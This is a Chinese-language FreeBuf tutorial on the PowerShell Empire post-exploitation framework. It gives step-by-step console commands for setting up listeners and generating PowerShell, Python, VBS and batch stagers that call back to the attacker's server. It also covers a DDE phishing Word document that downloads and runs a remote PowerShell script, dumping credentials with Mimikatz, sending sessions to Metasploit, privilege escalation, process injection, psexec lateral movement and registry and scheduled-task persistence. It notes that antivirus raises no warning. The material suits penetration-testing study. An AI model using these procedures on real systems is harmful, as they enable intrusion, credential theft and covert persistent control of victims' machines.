PowerShell Empire实战入门篇 – 作者:FK_T

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

PowerShsell Empire中文简称 “帝国” ,可能大多数只听说过这款内网渗透神器,针对windows系统平台而打造的一款渗透工具。在PowerShell方面,帝国实现了无需powershell.exe即可运行PowerShell代理的功能,可快速部署的开发后的模块从按键记录到Mimikatz,可逃避网络检测的能力,适应性强的通信,都包裹在易用性为重点的框架,有点类似于像meterpreter。

Empire详情介绍参考官方网站:http://powershellempire.com/

00X1

Empire运行在linux平台上,不要试图使用centos环境,安装前我们先看看install.sh脚本,建议使用Debian或Ubuntu,以及kali Linux系统,我使用的是系统是Ubuntu系统

git clone https://github.com/EmpireProject/Empire.git  

image.png

进入Empire/setup目录安装./install.sh,install.sh脚本里面包含了很多远程下载包,安装过程比较缓慢。

sudo./install.sh

 安装到这就已经结束了,末尾让我们输入随机生成的服务协商密码,直接回车就行了。

image.png

目前最新版本可以到的是2.3包含282个模块,和之前的,2.x之后有些使用方法以及命令都有了很大的区别,官网也没有给出更新介绍使用。

image.png

输入help查看Empire使用帮助信息

image.png

FreeBug有位前辈之前也发了篇关于Empire的文章,Empire2.x 后使用不太一样,可能前辈细节部分没有说清楚具体怎么操作,评论后面一排的有关使用操作问题,主要是细节用法方面, 也是写这篇文章初心之一,文章都是在不同的环境下进行的不过操作方法都是一样的。

 使用方法跟Meterpreter原理是一样的,先设置一个监听,这里要注意了,输入”listeners”它提示说没有建立监听,

 输入uselistener空格按下Tab键可以看到有7种模式

image.png

设置一个监听模块为http,这样就可以了 

(Empire:listeners) > uselistener http

(Empire: listeners/http) > 

然后在输入就能info查看具体参数设置

image.png

使用set命令可以设置相应参数,修改Name和Host,同样的也可以使用help查看相关命令,然后输入execute命令开始监听。

image.png

set Name xiaobai (名字随便填)

set Host ip  (Empir所在服务器IP)

image.png

输入listeners列出当前激活的listener 

(Empire: Listenere/http) > listeners

image.png

这里要注意一点,当开启多个监听的时候,必须使用不同的名称,并且使用不同的端口,如果设置的端口已经被使用,会有已下提示信息。set空格按两下Tab就会出现相关命令 如下图。 

image.png

image.png

(Empire: Listeners) > kill xiaobai 删除监听使用kill和创建过的Name的名,back返回上一层 

image.png

00×2

生成木马程序

设置完监听,接着我们要生成木马然后运行stager,同样的输入“uselistener”以后按下空格然后在按下tab键,可以看到总共是26个模块。其中multi为通用模块、osx mac操作系统、另外还有linux与windows模块。 生成的文件类型有.dll,bat,vbs等。

image.png

1.launcher

实战中直接命令usestager [具体模块]就可以在/tmp目录下生成一个特定文件格式的木马后门,然后通过webshell上传运行就可以了。下面使用launcher+语言类型,不仅有powershell还有python。

image.png

使用launcher(这里是pythonl )+侦听的名字“xiaobai”,如下图可以看到生成的Payload是经过base64的编码。

image.png

粘贴复制在Linux系统命令行运行即可,agents命令列出当前已激活的代理,“这里注意如果目标主机Username带有(*)的是已提权成功的代理,可通过bypassuac进行提权”,如下目标主机ubuntu已经被控制了。

image.pngimage.png

同样的使用launcher(这里是 powershell)+侦听的名字“fkt”。 

刚刚使用kill删除了这里在重新设置了下 

image.png

直接在目标机器上面执行,就可以得到这个主机的权限,而且杀毒软件没有任何提示 

image.png

使用Cobalt Strike生成的未经过编码的PowerShell执行windows10就报毒提示了

image.png

2.agents代理中的使用

当执行上面的powershell生成的木马上线了就会有这段话(Empire: listeners)> [+] Initial agent xxx from ip now active (Slack) , Name就是上线的主机,使用agents就能看到信息条目,类似meterpreter的session会话一样。

image.png

list stale  #列出已丢失反弹代理权

image.png

那么上线之后我们该如何操作,同样的在agents下输入help查看命令帮助。

(Empire: agents) >help 

image.png

使用interact命令跟上刚刚上线的主机Name的名,类似meterpreter中的shell会话一样,也可以直接调用cmd

(Empire: agents)> interact DUW9GMK8

(Empire: DUW9GMK8)> help

image.png

image.png

SC目标截图

image.png

如下图可以看到目标所有机器所在服务器的位置已经下载的文件,还可以使用download下载,upload 上传文件等 

image.png

我们直接输入“net user”命令试试,提示使用““帮助”命令agentcmds,很简单的在输入“help agentcmds”就可以查看该命令用法,前面加上一个shell就行,和Cobalt Strike->Interact ->Beacon执行的命令一样。

image.png

#加载mimikatz,需要对带有*的权限才能获取系统账号密码。

image.png

creds  #查看所有hash值包括明文

image.png

creds export/root/HE6YWBSZ.csv #出hash凭证到指定的路径的格式 

image.png

image.png

3.vbs反弹shell代理

image.png

由于之已经设置过了这里只需填写之前监听的名字,execute 执行完了之后会在Empire搭建的服务器上的/tmp/生成个vbs的木马

image.pngimage.png

拷贝到目标系统,将生成的这个launcher.vbs在目标机上打开,就会得到这个主机的权限,我使用的是windows10系统,自带的杀毒软件没有任何提示如下。

image.png

image.png

如果要删除该主机,使用kill或者remove命令,这两个命令是有区别的!

当你想使用”remove V7EXYZT6“删除这个名发现Empire还是会反弹过来,需要使用kill删除,只有删除了监听器的Name才可以使用remove,类似于“Cobalt Strike”需要先执行”Exit“在执行“Remove”才可以移除。

image.png

4.launcher_bat

输入usestager windows/launcher_bat命令同样的使用info查看相关参数

image.png

之前已经设置过了Name和Host这里只需要监听下名称就好,最后在执行下execute,默认在服务器上的/tmp/下生成加密过的PowerShelll木马,为launcher_bat

image.png

image.png

直接目标机上打开launcher_bat,就可以得到这个主机的权限cmd一闪而过。这就相当于得到一个MSF会话

image.png

5.微软 Office Word 无宏命令执行漏洞

无需开启宏即可渗透:在Office文档中利用DDE执行命令,利用之前爆的这个漏洞配合Emprie反弹一个会话复现下, “制作详细传送门” 我们把之前使用的(Empire: listeners) > launcherpowershell xiaobai  生成的powershell编码过的攻击代码写入到本地安装的httpd默认安装/var/www/html/demo.ps1路径下

image.png

image.png

编写钓鱼文档,调用cmd远程下载执行powershell脚本

image.png

然后在诱导对方点击这里需要触发两次,虚拟机安装了杀软没有任何有关恶意的安全警告

image.png

image.png

成功拿到会话如下

image.png

Empire2.3 包含usemodule204个模块

列出大类模块如下

code_execution #代码执行

collection #信息收集模块、屏幕截图、键盘记录 、剪贴板记录等

credentials #密码凭据的获取和转储

exfiltration #指定ip进行端口扫描

lateral_movement #横向渗透模块

management #用来执行些系统设置,和邮件信息的收集

persistence #权限维持工具

privesc #权限提升

recon #侦察

situational_awareness #评估主机运行环境,网络运行环境

trollsploit #恶作剧

(Empire: 9x7N513) > usemodule 空格Tba键如下

image.png

00X3

1.Empire和msf的联动

想利用Empire派生一个meterpreter的shell回来,与Empire,msf进行配合使用,首先我们需要使用Empire建立一个监听,命令如下

(Empire:YU6A1TWD) > usemodulecode_execution/invoke_shellcode

(Empire: powershell/code_execution/invoke_shellcode)> info  

列出帮助信息

image.png

设置监听的端口以及msfconsole所在的ip

set Lport 1234

set Lhost 192.168.1.85

execute

image.png

同样的msf也需要设置,通过https的方式反向连接,在网速慢的情况下不稳定,如果反弹没有收到数据,可以将监听端口换成443就可以收到Empire反弹回来的shell了如下。

Useexploit/multi/handler

Set payload windows/meterpreter/reverse_https

SetLhost 192.168.1.85

Setlport 1234

exploit

image.png

2. 使用Empire内置模块ms16-032提权 

(Empire: 97KXRTD5) >usemodule privesc/ms16-032

(Empire: powershell/privesc/ms16-032)> set Listener xiaobai

(Empire:powershell/privesc/ms16-032) > execute

同样的这里也要需要设置下Listener如下:

image.png

3.收集目标有用的信息如下

image.png

image.png

4.AllChecks模块

(Empire: 97KXRTD5) > usemoduleprivesc/powerup/allchecks  # 检查提权方法

image.png

(Empire:powershell/privesc/powerup/allchecks) > execute  

执行完后,输出可识别的漏洞并列出提权方法,跟PowerShell ,PowerUp.ps1脚本是一样的

image.png

5.UAC 提权模块

输入usemodule privesc/bypassuac,在设置监听的Name,然后在执行execute,需要目标主机主动点击两次触发,成功反弹一个新的shell会话如下

image.png

image.png

image.png

输入agents如下Username带星号的即为刚刚提权成功的

image.png

6. arpscan 网络扫描

Empire内置arpsan模块,在局域网内发送ARP数据包,用来收集活跃主机IP和MAC地址信息

输入usemodule situational_awareness/network/arpscan 

image.png

set Range 192.168.2.0-192.168.2.254  设置要扫描的的网段

execute 执行命令 

image.png

7.会话注入得到反弹代理

(Empire: FD6TGMH7) > usemodulemanagement/psinject

(Empire: powershell/management/psinject)> info

(Empire: powershell/management/psinject)> set ProcId 2264

(Empire: powershell/management/psinject)> set Listener xiaobai

(Empire: powershell/management/psinject)> execute

选择psinject模块进行会话注入,直接输入ps选择一个进程的PID,使用进程注入模块,来获取权限。需要设置的就是ProcID 和 Listener就好了。

image.png

image.png

设置好后执行,会返回一个新的会话

image.png

8.psexec模块横向生成一个反弹代理

(Empire:powershell/lateral_movement/invoke_psexec) > set ComputerName 192.168.1.116

(Empire:powershell/lateral_movement/invoke_psexec) > set Listener xiaobai

(Empire:powershell/lateral_movement/invoke_psexec) > execute

选择一个带*的目标主机使用invoke_psexec该模块进行横向渗透,设置目标的主机和监听名如下

image.png

image.png

成功则反弹一个新的会话权限为system

image.png

00×4 权限维持

1.registry

image.png

在注册表regedit HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug可以看到

image.png

因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框

image.png

2.schtasks

同样的选择schtasks模块设置下监听名就行,这里还需要设置下DailyTime时间如果不设置默认的是每天早上的9点

(Empire: DCBL4SUF) > usemodule persistence/elevated/schtasks*

(Empire:powershell/persistence/elevated/schtasks) > set Listener xiaobai

(Empire:powershell/persistence/elevated/schtasks) >set DailyTime 22:30 (设置时间)

(Empire:powershell/persistence/elevated/schtasks) > execute

image.png

image.png

在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell

image.png

这里就不等了手动启动下重新反弹一个新的会话

image.png

(Empire: BLWHGFPS) > agents 

第一个是注册表的权限还是不变,第2个为服务任务计划程序库提权之后为ssystem 权限

image.png

总结

最近工作交接比较忙,笔记本太重了 , 在公司部署好的环境,回来借朋友的电脑重新安装环境,还有些模块功能没写,花了几天时间写到这眼都花了,由于没有域环境,文章中只是介绍了Empirer大致的基本用法,大量的模块都集成在usemodule下,主要还是在于引导,使用方法多用多练就好,才能在实践中灵活的运用,希望通过篇文章对没有接触过的Empire有一个比较全面的了解。

参考:

官网WiKi 

渗透神器Empire安装和简单使用

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2018-01-04 16:47:21 by: FK_T

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论